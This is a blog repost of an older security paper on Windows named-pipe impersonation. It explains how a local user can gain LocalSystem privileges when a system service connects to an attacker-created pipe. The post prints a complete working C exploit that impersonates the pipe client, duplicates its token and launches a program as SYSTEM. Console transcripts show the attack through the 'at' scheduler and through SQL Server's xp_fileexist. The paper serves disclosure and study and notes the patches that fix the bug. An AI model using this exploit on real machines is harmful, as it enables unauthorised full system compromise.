CSDN博客

img icedust

Windows named pipes exploitation

发表于2004/6/23 14:15:00  1588人阅读

All latest versions of  Microsoft Windows  family  operation  systems  are
based on  Windows NT kernel. This fact has positive impact for both remote
and local security  of  Windows  world. There  are still  some thin places
though allowing  obtaining  Local System  privileges on the local computer
leading  to  the  full  system  compromise.   Usually   this   is  because
different buffer  overruns in  stack or heap  in system  services, like in
case of  any operation system. However  we should not  forget about system
specific bugs  because of abnormal behavior of system functions. This kind
of  bugs is very  system dependant  and  from  time  to time is discovered
in different OS. Of cause, Windows is not exception.

Specific bugs are  usually having impact on local users. Of cause, this is
not a kind  of axiom,  but local  user  has  access  to  larger  amount of
the  system  API  functions comparing with  remote one. So, we are talking
about  possibility   for   local  user  to  escalate  his  privileges.  By
privilege escalation we  mean obtaining privileges of Local System to have
no  limitations  at  all. Now  there  are few  ways to get it, I will talk
about new one.

According to  MSDN  to launch  application with different account one must
use  LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()'  task  is to  set
SE_ASSIGNPRIMARYTOKEN_NAME   and   SE_INCREASE_QUOTA_NAME  privileges  for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges.  Actually  'Administrator' account
have no enough  right  for  CreateProcessAsUser().  So,  to  execute  some
application,  e.g.  'cmd.exe'  with  LocalSystem  account  we must have it
already. Since  we do not have username and password of privileged user we
need another solution.

In this paper  we will obtain  'LocalSystem'  privileges  with file access
API. To open file Windows application call CreateFile()  function, defined
below:

HANDLE CreateFile(
        LPCTSTR               lpFileName,
        DWORD                 dwDesiredAccess,
        DWORD                 dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD         dwCreationDisposition,
        DWORD                dwFlagsAndAttributes,
        HANDLE                hTemplateFile
        );

To open file we must call something like

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For  advanced  Windows  programmer  it's clear that this function has more
application  rather  than  only opening   ordinary   files.  It's  used to
openor create  new  files, directories,  physical  drives,  and  different
resources for  interprocess  communication,  such as pipes  and mailslots.
We will be concerned with pipes.

Pipes  are  used for one-way  data exchange  between  parent  and child or
between  two  child  processes.  All  read/write   operations are close to
thesame file operations.

Named  Pipes are used  for two-way data exchange between client and server
or between two client  processes.  Like pipes they are like files, but can
be used to exchange data on the network.

Named pipe creation example shown below:

  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named  pipe's  name can  vary,  but  it  always  has   predefined  format.
The example of  valid name  is  '//./pipe/GetSys'.   For  Windows,  '//./'
sequence always precedes  filename,  e.g.  if  "C:/boot.ini"  is requested
system  actually   accesses  '//./C:/boot.ini'. This  format is compatible
with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be
a way to full  application to access  named pipe  instead of user supplied
file. For example, if we created named pipe  "//./pipe/GetSys" we  can try
to force application to access "//ComputerName/pipe/GetSys". It gives us a
chance to manipulate with access token.

Impersonation token is  access  token  with  client's privileges. That is,
this is possibility for server to do  something on client's behalf. In our
case server  is named pipe we created. And it becomes possible  because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get  this privilege.  If  client  application  has privileges of local
system we  can get access  to registry,  process and memory management and
another possibilities not available to ordinary user.

This attack can be easily realized in practice.  Attack  scenario for this
vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created.

2. Impersonate client

Because  we assume client  application has system rights we will have them
too.

3. Obtain required rights. In fact, we need only

 - SE_ASSIGNPRIMARYTOKEN_NAME 
 - SE_INCREASE_QUOTA_NAME

 - TOKEN_ALL_ACCESS
 - TOKEN_DUBLICATE

This is all  we need for  CreateProcessAsUser() function. To obtain rights
we  need  new  token  with  TOKEN_ALL_ACCESS privelege.  And we can do it,
because we have privileges of client process.

Execute code of our choice
       

It could be registry  access,  setting  some hooks or random commands with
system privileges. Last one is  most  interesting,  because we can execute
standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system
 privileges. I  back  to  beginning,  but  this  time  I have all required
privileges and 'LocalSystem' is under my thumb.

There  is no problem to realize  this approach. As an example, we will use
working  exploit   by    wirepair at sh0dan.org    based   on   the   code
of maceo at dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>/n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "////.//pipe//GetSys");

// create named pipe"//./pipe/GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:/n  %s/n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: ////.//pipe//GetSys/n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR)
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection.../n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate.../n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe./n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token.../n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(),
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u/n", dw);
                     CloseHandle(hToken);
                     return 4;
   }
   }
  
   printf("Duplicating Token.../n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation,
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token/n");
          printf("GetLastError: %u/n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s/n", szUser);
  
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop         = NULL;
   si.dwFlags         = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s/n", argv[1]); 

// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
        &sa,true, NORMAL_PRIORITY_CLASS |
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d/n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
 
   return 0;
}

This vulnerability gives  a  chance for us to obtain  system privileges on
local computer. The  only  condition  is system  process  must access this
channel. This  condition  is  easy  to  reproduce  with  system  services.
For example:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive //ComputerName/pipe/GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Now we have new instance  of cmd.exe with system privileges. It means user
can easily obtain  privileges  of local system.  Of cause  reproduce  this
situation is easy only in case, there is a service, which can access files
on  user request.  Because  'at' command  requires  at  least  power  user
privileges  and may be used  to launch cmd.exe directly, without any named
pipe this example is useless.

In practice, this vulnerability may be exploited for privilege  escalation
by  the local user if Microsoft SQL Server  is installed. SQL  server runs
with system privileges and may be accessed with unprivileged user.  @Stake
reported vulnerability in  xp_fileexist  command. This command  checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:

[shell 1]

>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...

[shell 2]

C:/>isql -U user
Password:
1> xp_fileexist '//ComputerName/pipe/GetSys'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

At the   end,  it's good  to  point  that  this  vulnerability  exists  in
Windows   NT/2000/XP   and  is   patched   with   Windows   2000  SP4  and
on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.


[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

0 0

相关博文

我的热门文章

img
取 消
img